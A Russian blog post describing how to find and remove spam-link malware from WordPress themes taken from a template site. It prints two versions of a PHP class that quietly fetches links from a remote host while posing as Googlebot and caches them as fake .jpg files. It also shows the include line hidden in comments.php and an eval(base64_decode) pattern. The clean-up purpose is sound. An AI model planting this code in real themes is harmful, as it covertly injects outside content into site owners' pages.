Оценок: 1

Удаление уязвимостей из шаблонов WordPress

В предыдущей статье я писал о том, как обнаружил уязвимости в своем шаблоне. В этой я опишу процесс избавления от подобных “сюрпризов”.


Откроем всеми любимый поисковик – google и введем в него запрос “шаблоны wordpress”, первым результатом будет раскрученный трастовый сайт wp-templates ru. Сайт живет с 2010 года, имеет очень хорошие показатели, а именно тиц 2700 и pr 5, лично у меня складывается о нем очень хорошее впечатление. Кто бы мог подумать, что большая часть шаблонов заражена спам ссылками. Перед написанием этой статьи, скачал пять случайных шаблонов, в четырех был вредоносный код. На примере одного из шаблонов, напишу, как от него избавиться.


Открываем function.php, ищем и удаляем подобный код

<?php

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

         $data = @file_get_contents('http://' . $host . $path, false, $context); 
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}
?>

Есть еще один вариант данного кода:

<?php
class Get_links {
	var $host = 'wpconfig.net';
	var $path = '/system.php';
	var $_cache_lifetime = 21600;
	var $_socket_timeout = 5;

	function get_remote() {
		$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
		$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

		$links_class = new Get_links();
		$host = $links_class->host;
		$path = $links_class->path;
		$_socket_timeout = $links_class->_socket_timeout;
		//$_user_agent = $links_class->_user_agent;

		@ini_set('allow_url_fopen', 1);
		@ini_set('default_socket_timeout', $_socket_timeout);
		@ini_set('user_agent', $_user_agent);

		if (function_exists('file_get_contents')) {
			$opts = array(
				'http'=>array(
					'method'=>"GET",
					'header'=>"Referer: {$req_url}\r\n"."User-Agent: {$_user_agent}\r\n"
				)
			);
			$context = stream_context_create($opts);
			$data = @file_get_contents('http://' . $host . $path, false, $context);
			preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
			$data = @$data[2];
			return $data;
		}
		return '<!--link error-->';
	}

	function return_links($lib_path) {
		$links_class = new Get_links();
		$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
		$_cache_lifetime = $links_class->_cache_lifetime;

		if (!file_exists($file)) {
			@touch($file, time());
			$data = $links_class->get_remote();
			file_put_contents($file, $data);
			return $data;
		} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
			@touch($file, time());
			$data = $links_class->get_remote();
			file_put_contents($file, $data);
			return $data;
		} else {
			$data = file_get_contents($file);
			return $data;
		}
	}
}
?>

Начинается одинаково, кончается по-разному. Главный корень мы вытащили, осталось разобраться с корешками – кодом который остался в файлах сайта. Без основного кода, который мы только что удалили, действовать он не будет, но зачем его оставлять?

Вот так он собственно выглядит:

<?php $lib_path = dirname(__FILE__).'/';require_once('functions.php'); $links = new Get_links(); $links =$links->return_links($lib_path); echo $links; ?>

Проверить советую, все файлы вашей темы, но лично у меня он содержался в одном файле: comments.php.


С функцией пихающий ссылки на сайт мы разобрались, однако на этом наши мучения не закончились. В header часто прячут закодированный код, и выглядит он примерно так:

< ?php
eval(base64_decode('2fc5375081c7d564f66fda2c7fb37c53’))?>

Внутри таких вот кодовов, тоже обычно спрятаны ссылки, в любом случаи его нужно убирать как можно быстрее.


На этом все. До скорого

Оценок: 1

Комментарии (0)

    Надежный хостинг VPS серверов
    • Свои ISO образы
    • VDS с оплатой раз и навсегда
    • Аренда VDS на любой срок, с оплатой по дням
    • Большое разнообразие конфигураций
    • Дата-центры в ЕС и России
    + скидка 10%